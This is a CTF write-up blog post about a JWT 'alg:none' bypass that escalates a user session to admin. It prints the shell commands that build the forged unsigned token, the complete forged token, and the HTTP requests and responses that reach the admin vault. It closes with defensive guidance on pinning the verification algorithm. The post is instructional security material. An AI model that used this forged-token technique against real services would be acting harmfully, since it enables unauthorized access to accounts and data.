July 7, 2026
I Became Admin With an Empty Signature: Breaking JWT Auth on a CTF
There’s a special kind of satisfaction in breaking authentication with nothing but a dot. Not a script, not a wordlist, not a zero-day —…
By Saikiranduppala
6 min read
There's a special kind of satisfaction in breaking authentication with nothing but a dot. Not a script, not a wordlist, not a zero-day — just three base64 strings glued together with periods, one of them empty. This is the story of how I escalated privileges on a CTF target, using one of the oldest tricks in the JWT playbook: the alg:none bypass.
If you've never messed with JSON Web Tokens before, stick around — by the end of this you'll understand exactly why this bug exists, why it still shows up in real applications in 2026, and how to spot it yourself.
The Setup
The target was a simple login page. Standard stuff — username and password fields, POSTed as form data:
POST /login HTTP/2
Content-Type: application/x-www-form-urlencoded
username=user1&password=********POST /login HTTP/2
Content-Type: application/x-www-form-urlencoded
username=user1&password=********Nothing unusual in the request. But the response is where things got interesting:
HTTP/2 302 Found
Location: /dashboard
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJ1c2VyIn0.<signature>HTTP/2 302 Found
Location: /dashboard
Set-Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJ1c2VyIn0.<signature>That session cookie is a JWT — you can tell immediately from the three dot-separated segments. Whenever I see a JWT, my first instinct is always the same: decode it, and see what's inside before touching anything else.
Cracking Open the Token
JWTs aren't encrypted — they're just base64url-encoded JSON, so decoding one takes seconds. I split the token on the dots and decoded the first two parts:
Header:
{"alg":"HS256","typ":"JWT"}{"alg":"HS256","typ":"JWT"}Payload:
{"sub":"user1","role":"user"}{"sub":"user1","role":"user"}
There it was — "role":"user". That single field was almost certainly the gatekeeper deciding what I could and couldn't see on this app. If I could change it to "admin", I'd probably unlock something interesting.
The problem, of course, is the third segment: the signature. That's the whole point of signing a JWT — it's a cryptographic guarantee that says "this payload hasn't been tampered with since the server issued it." Normally, if you change even one character of the payload, the signature no longer matches, and any well-implemented backend will reject the token outright.
So changing role to admin wasn't the hard part. Getting the server to accept that change was.
Confirming the Wall Exists
Before attacking anything, I wanted to see what "user" actually couldn't access. I sent my legitimate token to the dashboard and the rendered page — a typical internal-ops-style dashboard — showed a clean layout with a sidebar. One item stood out: a greyed-out, unclickable "Vault" link under an "Admin" section header. Further down, a card titled "Vault — Admin Only" with a locked icon and a message about privileged credentials.
Classic. The feature existed in the HTML — it just wasn't rendering its contents for my role. This is a strong signal in almost any CTF or bug bounty target: if the UI shows you a locked door, there's a key somewhere, and often that key is a claim inside your own session token.
I tried guessing a direct URL for the restricted area, just in case there was an unprotected route hiding in plain sight — a 404 Not Found came back. No shortcut there. The vault clearly wasn't a separate, unprotected page. It had to be gated content rendered conditionally based on the token's role claim.
No kid, No jku — So What's Left?
Before jumping to conclusions, I checked the JWT header for other attack surface. Sometimes tokens carry a kid (key ID) or jku (JWK Set URL) field that can be manipulated to point signature verification at attacker-controlled data. This header had neither:
{"alg":"HS256","typ":"JWT"}{"alg":"HS256","typ":"JWT"}
Just alg and typ. That narrowed my options down to two realistic paths:
- Brute-force the HMAC secret — feed the token into hashcat or jwt_tool against a wordlist, hoping the developer used something weak like
secretorchangeme. - Try the
alg:nonetrick — see if the backend's JWT library blindly trusts whatever algorithm the client claims in the header, rather than enforcing a fixed one server-side.
Option 2 costs nothing to try. No wordlists, no compute, no waiting. So that's where I started.
The Bypass
The JWT specification technically permits an algorithm value of "none" — meant for niche cases where a token doesn't need integrity protection at all. Plenty of JWT libraries handle this safely by refusing to process none unless a developer explicitly opts in. But plenty of others — especially older or misconfigured setups — don't enforce an algorithm allowlist at verification time. They read the alg field straight from the attacker-controlled header and use it to decide how to verify… including deciding not to verify anything at all.
So I built a new token by hand. New header:
{"alg":"none","typ":"JWT"}{"alg":"none","typ":"JWT"}New payload, with the one field that mattered flipped:
{"sub":"user1","role":"admin"}{"sub":"user1","role":"admin"}I base64url-encoded both parts:
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='
echo -n '{"sub":"user1","role":"admin"}' | base64 | tr '+/' '-_' | tr -d '='echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr '+/' '-_' | tr -d '='
echo -n '{"sub":"user1","role":"admin"}' | base64 | tr '+/' '-_' | tr -d '='Then joined them with a dot — and left the signature section completely empty. Not a fake signature, not garbage bytes. Nothing. Just a trailing dot to mark where a signature would go:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJhZG1pbiJ9.eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJhZG1pbiJ9.
I swapped this straight into my session cookie in Burp Repeater and fired off the same dashboard request.
The Moment It Worked
HTTP/2 200 OKHTTP/2 200 OKAnd in the response body:
<span class="pill pill-admin">admin</span>
...
<a class="sitem" href="/admin" style="color:var(--accent)">Vault</a><span class="pill pill-admin">admin</span>
...
<a class="sitem" href="/admin" style="color:var(--accent)">Vault</a>The role pill flipped from blue "user" to green "admin." The grey, disabled Vault link in the sidebar was now live, pointing to a restricted admin route. The server had taken my unsigned, self-issued claim of adminhood completely at face value.
No cracking. No brute force. Just an empty string where a cryptographic signature should have been.
Walking Through the Open Door
One more request, same forged cookie, new path — the admin-only route:
GET /admin HTTP/2
Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJhZG1pbiJ9.GET /admin HTTP/2
Cookie: session=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJ1c2VyMSIsInJvbGUiOiJhZG1pbiJ9.And there it was — the vault page in full, containing the challenge's flag/objective.
Even the flag string itself spelled out exactly what happened, in case there was any doubt: JWT alg:none bypass, access granted.
Why This Still Happens
It's tempting to think of alg:none as a fossil — a bug from the early, wild-west days of JWT libraries around 2015. And to be fair, most modern, well-maintained libraries (PyJWT, jjwt, jsonwebtoken for Node) block none by default now. But the vulnerability doesn't come from the library — it comes from how developers configure it.
The safe pattern looks like this:
# Good: algorithm is pinned server-side, ignoring whatever the token claims
jwt.decode(token, secret_key, algorithms=["HS256"])# Good: algorithm is pinned server-side, ignoring whatever the token claims
jwt.decode(token, secret_key, algorithms=["HS256"])The dangerous pattern looks like this:
# Bad: algorithm comes from the token itself
header = jwt.get_unverified_header(token)
jwt.decode(token, secret_key, algorithms=[header["alg"]])# Bad: algorithm comes from the token itself
header = jwt.get_unverified_header(token)
jwt.decode(token, secret_key, algorithms=[header["alg"]])That second pattern shows up more often than you'd think — in custom auth middleware, in older codebases migrated between frameworks, in libraries with permissive defaults, or in code written by developers who didn't realize alg was attacker-controlled input in the first place. The JWT header isn't metadata the server can trust; it's just another field the client sent.
The Takeaway
If you're testing an app with JWT-based sessions, alg:none should be one of the first five things you try — right alongside checking for weak HMAC secrets and looking for kid/jku injection points. It costs nothing, takes ten seconds, and when it works, it works completely: no partial access, no rate limiting to dodge, just an instant, unsigned ticket to whatever role you decide to type into a JSON object.
And if you're building the app instead of breaking it: pin your algorithm. Always. The moment you let the token tell you how to verify itself, you've handed the keys to whoever's holding the token.
This was a CTF challenge, so no real systems or data were involved. If you're testing this technique yourself, only do it against targets you're explicitly authorized to test — CTFs, your own labs, or in-scope bug bounty programs.